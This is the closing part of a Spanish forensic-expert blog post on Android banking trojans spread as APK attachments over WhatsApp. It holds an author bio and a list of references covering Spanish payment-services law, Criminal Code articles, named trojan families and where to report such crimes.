WhatsApp debe implementar análisis antivirus APKs adjuntos. Hasta entonces, educación usuario es única defensa real.


Sobre el autor: Jonathan Izquierdo es perito informático forense especializado en análisis de malware móvil. Ex-CTO y arquitecto cloud con más de 20 años en el sector tecnológico y 5 certificaciones AWS, ejerce como perito judicial desde 2025 y aplica metodología ISO 27037 en todas sus investigaciones.

Última actualización: Febrero 2026

Referencias y fuentes

  • Real Decreto-ley 19/2018, de 23 de noviembre, de servicios de pago — transpone la Directiva (UE) 2015/2366 (PSD2). Su artículo 45 obliga al proveedor de servicios de pago a devolver el importe de una operación no autorizada «de inmediato y, en cualquier caso, a más tardar al final del día hábil siguiente» a aquel en que se le notifique. Ojo con la norma que suele citarse en su lugar: la Ley 16/2009 transponía la PSD1 y está derogada desde el 25 de noviembre de 2018 precisamente por este real decreto-ley
  • Google Play Protect — control de Google que analiza las aplicaciones al instalarlas, incluidas las procedentes de fuera de Play Store, y cuya eficacia frente a código ofuscado es limitada
  • Código Penal, art. 248 —estafa, incluida la cometida mediante manipulación informática para conseguir una transferencia no consentida— y art. 197 bis sobre el acceso ilícito a sistemas de información
  • ERMAC, Godfather, Octo (ExobotCompact), Hydra y Teabot (Anatsa) — familias de troyano bancario para Android que operan bajo el modelo de malware como servicio. Sus análisis técnicos los publican los equipos de investigación de los fabricantes de seguridad y se identifican por familia, no por campaña
  • Policía Nacional — la denuncia puede presentarse en cualquier comisaría o a través de su sede electrónica; la investigación de estos hechos corresponde a sus unidades de delincuencia tecnológica y, en el ámbito de la Guardia Civil, al Departamento de Delitos Telemáticos
  • VirusTotal — Plataforma de verificación de reputación de dominios e IPs utilizada en el análisis de servidores C2

Sobre el autor

Jonathan Izquierdo es perito informático forense especializado en Ciberseguridad con conocimientos en blockchain, criptomonedas, AWS Cloud, desarrollo de software y seguridad. Experiencia tecnológica de más de 20 años al servicio de la justicia digital, liderando equipos de desarrollo de software en ámbitos internacionales.

Ver más sobre mí

Volver al Blog

Posts Relacionados

Ver Todos los Posts »
Jonathan Izquierdo

Jonathan Izquierdo · Perito Forense

+15 años experiencia · AWS Certified

WhatsApp